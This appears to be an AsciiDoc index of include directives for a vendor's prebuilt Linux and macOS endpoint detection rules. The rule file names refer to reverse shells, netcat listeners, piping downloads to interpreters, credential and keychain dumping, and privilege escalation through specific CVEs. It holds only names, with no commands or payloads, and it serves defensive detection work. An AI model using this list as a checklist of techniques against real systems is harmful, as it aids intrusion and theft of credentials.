+include::prebuilt-rule-8-19-34-curl-or-wget-egress-network-connection-via-lolbin.asciidoc[] +include::prebuilt-rule-8-19-34-directory-creation-in-bin-directory.asciidoc[] +include::prebuilt-rule-8-19-34-potential-disabling-of-apparmor.asciidoc[] +include::prebuilt-rule-8-19-34-potential-disabling-of-selinux.asciidoc[] +include::prebuilt-rule-8-19-34-potential-defense-evasion-via-doas.asciidoc[] +include::prebuilt-rule-8-19-34-dynamic-linker-creation.asciidoc[] +include::prebuilt-rule-8-19-34-esxi-timestomping-using-touch-command.asciidoc[] +include::prebuilt-rule-8-19-34-process-execution-followed-by-self-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-file-creation-in-world-writable-directory-by-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-file-deletion-via-shred.asciidoc[] +include::prebuilt-rule-8-19-34-file-permission-modification-in-writable-directory.asciidoc[] +include::prebuilt-rule-8-19-34-potential-hex-payload-execution-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-potential-hex-payload-execution-via-common-utility.asciidoc[] +include::prebuilt-rule-8-19-34-hidden-directory-creation-via-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-34-creation-of-hidden-files-and-directories-via-commandline.asciidoc[] +include::prebuilt-rule-8-19-34-creation-of-hidden-shared-object-file.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-interactive-shell-launched-from-system-user.asciidoc[] +include::prebuilt-rule-8-19-34-base64-decoded-payload-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-clear-logs-via-journalctl.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-module-removal.asciidoc[] +include::prebuilt-rule-8-19-34-kill-command-execution.asciidoc[] +include::prebuilt-rule-8-19-34-executable-masquerading-as-kernel-process.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-dynamic-linker-ld-so-creation.asciidoc[] +include::prebuilt-rule-8-19-34-system-log-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-shared-object-load-via-lolbin.asciidoc[] +include::prebuilt-rule-8-19-34-potential-hidden-process-via-mount-hidepid.asciidoc[] +include::prebuilt-rule-8-19-34-multi-base64-decoding-attempt-from-suspicious-location.asciidoc[] +include::prebuilt-rule-8-19-34-potential-defense-evasion-via-proot.asciidoc[] +include::prebuilt-rule-8-19-34-potential-process-name-stomping-with-prctl.asciidoc[] +include::prebuilt-rule-8-19-34-potential-proxy-execution-via-systemd-run.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-renaming-of-esxi-files.asciidoc[] +include::prebuilt-rule-8-19-34-root-certificate-installation.asciidoc[] +include::prebuilt-rule-8-19-34-selinux-configuration-creation-or-renaming.asciidoc[] +include::prebuilt-rule-8-19-34-shell-history-clearing-via-environment-variables.asciidoc[] +include::prebuilt-rule-8-19-34-ssl-certificate-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-path-mounted.asciidoc[] +include::prebuilt-rule-8-19-34-system-binary-symlink-to-suspicious-location.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-kernel-feature-activity.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-kill-signal.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-preload-environment-variable-process-execution.asciidoc[] +include::prebuilt-rule-8-19-34-linux-user-or-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-file-creation-in-var-log-via-suspicious-process.asciidoc[] +include::prebuilt-rule-8-19-34-linux-external-ip-address-discovery-via-curl.asciidoc[] +include::prebuilt-rule-8-19-34-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-dynamic-linker-discovery-via-od.asciidoc[] +include::prebuilt-rule-8-19-34-esxi-discovery-via-find.asciidoc[] +include::prebuilt-rule-8-19-34-esxi-discovery-via-grep.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-kernel-module-enumeration.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-seeking-activity.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-unpacking-activity.asciidoc[] +include::prebuilt-rule-8-19-34-hping-process-activity.asciidoc[] +include::prebuilt-rule-8-19-34-nping-process-activity.asciidoc[] +include::prebuilt-rule-8-19-34-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc[] +include::prebuilt-rule-8-19-34-pluggable-authentication-module-pam-version-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-passwordless-sudo-probing.asciidoc[] +include::prebuilt-rule-8-19-34-potential-network-scan-executed-from-host.asciidoc[] +include::prebuilt-rule-8-19-34-polkit-version-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-potential-port-scanning-activity-from-compromised-host.asciidoc[] +include::prebuilt-rule-8-19-34-potential-kubeletctl-execution.asciidoc[] +include::prebuilt-rule-8-19-34-private-key-searching-activity.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-proc-maps-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-process-capability-enumeration.asciidoc[] +include::prebuilt-rule-8-19-34-security-file-access-via-common-utilities.asciidoc[] +include::prebuilt-rule-8-19-34-potential-subnet-scanning-activity-from-compromised-host.asciidoc[] +include::prebuilt-rule-8-19-34-sudo-command-enumeration-detected.asciidoc[] +include::prebuilt-rule-8-19-34-suid-sguid-enumeration-detected.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-memory-grep-activity.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-network-tool-launched-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-reading-of-procfs-syscall-file.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-which-enumeration.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-process-connection-to-docker-or-containerd-socket.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-user-privilege-enumeration-via-id.asciidoc[] +include::prebuilt-rule-8-19-34-virtual-machine-fingerprinting.asciidoc[] +include::prebuilt-rule-8-19-34-yum-dnf-plugin-status-discovery.asciidoc[] +include::prebuilt-rule-8-19-34-abnormal-process-id-or-lock-file-created.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-command-execution-via-busybox-proxy.asciidoc[] +include::prebuilt-rule-8-19-34-container-management-utility-run-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-container-runtime-cli-execution-with-suspicious-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-file-creation-by-cups-or-foomatic-rip-child.asciidoc[] +include::prebuilt-rule-8-19-34-printer-user-lp-shell-execution.asciidoc[] +include::prebuilt-rule-8-19-34-cupsd-or-foomatic-rip-shell-execution.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc[] +include::prebuilt-rule-8-19-34-egress-connection-from-entrypoint-in-container.asciidoc[] +include::prebuilt-rule-8-19-34-process-started-with-executable-stack.asciidoc[] +include::prebuilt-rule-8-19-34-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-file-transfer-or-listener-established-via-netcat.asciidoc[] +include::prebuilt-rule-8-19-34-potential-upgrade-of-non-interactive-shell.asciidoc[] +include::prebuilt-rule-8-19-34-netcat-listener-established-via-rlwrap.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-from-binary-with-rwx-memory-region.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-via-recently-compiled-executable.asciidoc[] +include::prebuilt-rule-8-19-34-file-downloaded-by-curl-wget-and-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-payload-downloaded-by-interpreter-and-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-interactive-terminal-spawned-via-perl.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-hack-tool-launched.asciidoc[] +include::prebuilt-rule-8-19-34-privileged-docker-container-creation.asciidoc[] +include::prebuilt-rule-8-19-34-process-backgrounded-by-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-34-process-started-from-process-id-pid-file.asciidoc[] +include::prebuilt-rule-8-19-34-binary-executed-from-shared-memory-directory.asciidoc[] +include::prebuilt-rule-8-19-34-interactive-terminal-spawned-via-python.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-spawned-via-python.asciidoc[] +include::prebuilt-rule-8-19-34-potential-code-execution-via-postgresql.asciidoc[] +include::prebuilt-rule-8-19-34-direct-process-execution-via-background-utility.asciidoc[] +include::prebuilt-rule-8-19-34-openssl-client-or-server-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-via-background-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-via-child.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-via-java.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-meterpreter-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-via-suspicious-binary.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-via-udp.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-mining-process-creation-event.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-named-pipe-creation.asciidoc[] +include::prebuilt-rule-8-19-34-pod-or-container-creation-with-suspicious-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-xdg-open-command-execution.asciidoc[] +include::prebuilt-rule-8-19-34-system-binary-path-file-permission-modification.asciidoc[] +include::prebuilt-rule-8-19-34-bpf-filter-applied-using-tc.asciidoc[] +include::prebuilt-rule-8-19-34-unix-socket-connection.asciidoc[] +include::prebuilt-rule-8-19-34-unknown-execution-of-binary-with-rwx-memory-region.asciidoc[] +include::prebuilt-rule-8-19-34-interactive-shell-launched-via-unusual-parent-process-in-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-path-invocation-from-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-pkexec-execution.asciidoc[] +include::prebuilt-rule-8-19-34-potential-data-splitting-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-database-dumping-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-data-exfiltration-through-wget.asciidoc[] +include::prebuilt-rule-8-19-34-file-transfer-utility-launched-from-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-data-encryption-via-openssl-utility.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-termination-of-esxi-process.asciidoc[] +include::prebuilt-rule-8-19-34-memory-swap-modification.asciidoc[] +include::prebuilt-rule-8-19-34-potential-malware-driven-ssh-brute-force-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-ransomware-note-creation-detected.asciidoc[] +include::prebuilt-rule-8-19-34-high-number-of-process-terminations.asciidoc[] +include::prebuilt-rule-8-19-34-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc[] +include::prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc[] +include::prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-ip-address.asciidoc[] +include::prebuilt-rule-8-19-34-successful-ssh-authentication-from-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-34-telnet-authentication-bypass-via-user-environment-variable.asciidoc[] +include::prebuilt-rule-8-19-34-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc[] +include::prebuilt-rule-8-19-34-potential-direct-kubelet-access-via-process-arguments.asciidoc[] +include::prebuilt-rule-8-19-34-kubelet-api-connection-attempt-to-internal-ip.asciidoc[] +include::prebuilt-rule-8-19-34-remote-file-creation-in-world-writeable-directory.asciidoc[] +include::prebuilt-rule-8-19-34-potential-thc-tool-downloaded.asciidoc[] +include::prebuilt-rule-8-19-34-connection-to-external-network-via-telnet.asciidoc[] +include::prebuilt-rule-8-19-34-connection-to-internal-network-via-telnet.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-remote-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-apt-package-manager-execution.asciidoc[] +include::prebuilt-rule-8-19-34-apt-package-manager-configuration-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-apt-package-manager-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-at-job-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-binfmt-configuration-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-boot-file-copy.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc[] +include::prebuilt-rule-8-19-34-bpf-program-or-map-load-via-bpftool.asciidoc[] +include::prebuilt-rule-8-19-34-chkconfig-service-add.asciidoc[] +include::prebuilt-rule-8-19-34-renaming-of-openssh-binaries.asciidoc[] +include::prebuilt-rule-8-19-34-cron-job-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-d-bus-service-created.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-d-bus-daemon-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-dnf-package-manager-plugin-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-dpkg-package-installed-by-unusual-parent-process.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-dpkg-execution.asciidoc[] +include::prebuilt-rule-8-19-34-dracut-module-creation.asciidoc[] +include::prebuilt-rule-8-19-34-dynamic-linker-copy.asciidoc[] +include::prebuilt-rule-8-19-34-initramfs-extraction-via-cpio.asciidoc[] +include::prebuilt-rule-8-19-34-git-hook-command-execution.asciidoc[] +include::prebuilt-rule-8-19-34-git-hook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-git-hook-egress-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-git-hook-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-grub-configuration-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-grub-configuration-generation-through-built-in-utilities.asciidoc[] +include::prebuilt-rule-8-19-34-system-v-init-script-created.asciidoc[] +include::prebuilt-rule-8-19-34-kde-autostart-script-or-desktop-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-driver-load.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-driver-load-by-non-root-user.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-module-load-from-unusual-location.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-object-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-kubernetes-static-pod-manifest-file-access.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-file-creation-via-kworker.asciidoc[] +include::prebuilt-rule-8-19-34-potential-linux-backdoor-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-linux-group-creation.asciidoc[] +include::prebuilt-rule-8-19-34-linux-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-34-linux-user-added-to-privileged-group.asciidoc[] +include::prebuilt-rule-8-19-34-loadable-kernel-module-configuration-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-manual-dracut-execution.asciidoc[] +include::prebuilt-rule-8-19-34-message-of-the-day-motd-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-process-spawned-from-message-of-the-day-motd.asciidoc[] +include::prebuilt-rule-8-19-34-networkmanager-dispatcher-script-creation.asciidoc[] +include::prebuilt-rule-8-19-34-openssl-password-hash-generation.asciidoc[] +include::prebuilt-rule-8-19-34-pluggable-authentication-module-or-configuration-creation.asciidoc[] +include::prebuilt-rule-8-19-34-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc[] +include::prebuilt-rule-8-19-34-potential-backdoor-execution-through-pam-exec.asciidoc[] +include::prebuilt-rule-8-19-34-pluggable-authentication-module-pam-source-download.asciidoc[] +include::prebuilt-rule-8-19-34-polkit-policy-creation.asciidoc[] +include::prebuilt-rule-8-19-34-executable-bit-set-for-potential-persistence-script.asciidoc[] +include::prebuilt-rule-8-19-34-process-capability-set-via-setcap-utility.asciidoc[] +include::prebuilt-rule-8-19-34-python-path-file-pth-creation.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-rc-local-error-message.asciidoc[] +include::prebuilt-rule-8-19-34-potential-execution-of-rc-local-script.asciidoc[] +include::prebuilt-rule-8-19-34-rc-local-rc-common-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-rpm-package-installed-by-unusual-parent-process.asciidoc[] +include::prebuilt-rule-8-19-34-setcap-setuid-setgid-capability-set.asciidoc[] +include::prebuilt-rule-8-19-34-shadow-file-modification-by-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-shared-object-created-by-previously-unknown-process.asciidoc[] +include::prebuilt-rule-8-19-34-shell-configuration-creation.asciidoc[] +include::prebuilt-rule-8-19-34-simple-http-web-server-connection.asciidoc[] +include::prebuilt-rule-8-19-34-simple-http-web-server-creation.asciidoc[] +include::prebuilt-rule-8-19-34-python-site-or-user-customize-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-ssh-key-generated-via-ssh-keygen.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-login-via-system-user.asciidoc[] +include::prebuilt-rule-8-19-34-potential-suspicious-file-edit.asciidoc[] +include::prebuilt-rule-8-19-34-potential-execution-via-ssh-backdoor.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-generator-created.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-network-connection-via-systemd.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-service-override-configuration-file-created.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-timer-created.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-service-created.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-service-started-by-unusual-parent-process.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-shell-execution-during-boot.asciidoc[] +include::prebuilt-rule-8-19-34-tainted-kernel-module-load.asciidoc[] +include::prebuilt-rule-8-19-34-tainted-out-of-tree-kernel-module-load.asciidoc[] +include::prebuilt-rule-8-19-34-systemd-udevd-rule-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-initramfs-unpacking-via-unmkinitramfs.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-exim4-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-authentication-via-unusual-pam-grantor.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-sshd-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-linux-user-account-credential-modification.asciidoc[] +include::prebuilt-rule-8-19-34-user-or-group-creation-modification.asciidoc[] +include::prebuilt-rule-8-19-34-file-with-suspicious-double-extension-created-by-web-server.asciidoc[] +include::prebuilt-rule-8-19-34-php-file-creation-in-wordpress-plugin-directory.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-child-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-command-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-child-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-command-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-file-creation-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-34-network-connections-initiated-through-xdg-autostart-entry.asciidoc[] +include::prebuilt-rule-8-19-34-yum-package-manager-plugin-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc[] +include::prebuilt-rule-8-19-34-nsenter-to-pid-namespace-via-auditd.asciidoc[] +include::prebuilt-rule-8-19-34-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc[] +include::prebuilt-rule-8-19-34-chroot-execution-in-container-context-on-linux.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-in-container-via-runc-init.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-container-misconfiguration.asciidoc[] +include::prebuilt-rule-8-19-34-potential-cve-2025-32463-nsswitch-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-linux-dac-permissions.asciidoc[] +include::prebuilt-rule-8-19-34-file-system-debugger-launched-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-potential-docker-escape-via-nsenter.asciidoc[] +include::prebuilt-rule-8-19-34-potential-chroot-container-escape-via-mount.asciidoc[] +include::prebuilt-rule-8-19-34-docker-release-file-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-enlightenment.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc[] +include::prebuilt-rule-8-19-34-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-kworker-uid-elevation.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-dynamic-linker-preload-shared-object.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-symbolic-link-created.asciidoc[] +include::prebuilt-rule-8-19-34-kernel-load-or-unload-via-kexec-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-cve-2023-4911.asciidoc[] +include::prebuilt-rule-8-19-34-mount-launched-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-and-uid-change.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-pkexec.asciidoc[] +include::prebuilt-rule-8-19-34-potential-buffer-overflow-attack-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-copy-fail-cve-2026-31431-exploitation-via-af-alg-socket.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-suspicious-uid-change.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-process-sequence.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-child-process-sequence.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-uid-change-to-root-via-python.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-suid-sgid.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc[] +include::prebuilt-rule-8-19-34-potential-shell-via-wildcard-injection-detected.asciidoc[] +include::prebuilt-rule-8-19-34-potential-suspicious-debugfs-root-device-access.asciidoc[] +include::prebuilt-rule-8-19-34-potential-shadow-file-read-via-command-line-utilities.asciidoc[] +include::prebuilt-rule-8-19-34-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sudo-hijacking.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sudo-token-manipulation-via-process-injection.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-python-cap-setuid.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-passwd-file-event-action.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-suid-binary-execution.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-suid-binary-execution-auditd-sequence.asciidoc[] +include::prebuilt-rule-8-19-34-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-recently-compiled-executable.asciidoc[] +include::prebuilt-rule-8-19-34-uid-elevation-from-previously-unknown-executable.asciidoc[] +include::prebuilt-rule-8-19-34-namespace-manipulation-using-unshare.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-unshare-followed-by-root-process.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-through-writable-docker-socket.asciidoc[] +include::prebuilt-rule-8-19-34-discovery-command-output-written-to-suspicious-file.asciidoc[] +include::prebuilt-rule-8-19-34-pbpaste-execution-via-unusual-parent-process.asciidoc[] +include::prebuilt-rule-8-19-34-sensitive-file-access-followed-by-compression.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-aws-s3-connection-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-potential-etherhiding-c2-via-curl-json-rpc-request.asciidoc[] +include::prebuilt-rule-8-19-34-executable-file-download-via-wget.asciidoc[] +include::prebuilt-rule-8-19-34-google-calendar-c2-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-network-connection-to-oast-domain-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-perl-outbound-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-potential-etherhiding-c2-via-blockchain-connection.asciidoc[] +include::prebuilt-rule-8-19-34-script-interpreter-connection-to-non-standard-port.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-curl-from-macos-application.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-curl-to-google-app-script-endpoint.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-top-level-domain.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-web-service.asciidoc[] +include::prebuilt-rule-8-19-34-keychain-commandline-interaction-via-unsigned-or-untrusted-process.asciidoc[] +include::prebuilt-rule-8-19-34-dumping-account-hashes-via-built-in-commands.asciidoc[] +include::prebuilt-rule-8-19-34-dumping-of-keychain-content-via-security-command.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-pbpaste-high-volume-activity.asciidoc[] +include::prebuilt-rule-8-19-34-kerberos-cached-credentials-dumping.asciidoc[] +include::prebuilt-rule-8-19-34-keychain-password-retrieval-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-webproxy-settings-modification.asciidoc[] +include::prebuilt-rule-8-19-34-potential-macos-ssh-brute-force-detected.asciidoc[] +include::prebuilt-rule-8-19-34-prompt-for-credentials-with-osascript.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-python-accessed-sensitive-credential-files.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-web-browser-sensitive-file-access.asciidoc[] +include::prebuilt-rule-8-19-34-systemkey-access-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-34-softwareupdate-preferences-modification.asciidoc[] +include::prebuilt-rule-8-19-34-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-disable-gatekeeper.asciidoc[] +include::prebuilt-rule-8-19-34-dylib-injection-via-process-environment-variables.asciidoc[] +include::prebuilt-rule-8-19-34-gatekeeper-override-and-execution.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-install-root-certificate.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-tccdb-modification.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc[] +include::prebuilt-rule-8-19-34-modification-of-safari-settings-via-defaults-command.asciidoc[] +include::prebuilt-rule-8-19-34-potential-microsoft-office-sandbox-evasion.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-tcc-access-granted-for-user-folders.asciidoc[] +include::prebuilt-rule-8-19-34-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc[] +include::prebuilt-rule-8-19-34-attempt-to-unload-elastic-endpoint-security-kernel-extension.asciidoc[] +include::prebuilt-rule-8-19-34-dns-request-for-ip-lookup-service-via-unsigned-binary.asciidoc[] +include::prebuilt-rule-8-19-34-external-ip-address-discovery-via-curl.asciidoc[] +include::prebuilt-rule-8-19-34-full-disk-access-permission-check.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-sip-check-by-macos-application.asciidoc[] +include::prebuilt-rule-8-19-34-system-and-network-configuration-check.asciidoc[] +include::prebuilt-rule-8-19-34-enumeration-of-users-or-groups-via-built-in-commands.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-electron-child-process-node-js-module.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-browser-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-installer-package-spawns-network-event.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-python-spawned-a-shell-on-host.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-automator-workflows-execution.asciidoc[] +include::prebuilt-rule-8-19-34-apple-script-execution-followed-by-network-connection.asciidoc[] +include::prebuilt-rule-8-19-34-shell-execution-via-apple-scripting.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-library-load-via-python.asciidoc[] +include::prebuilt-rule-8-19-34-ssfilecopysender-executed-as-root.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-macos-ms-office-child-process.asciidoc[] 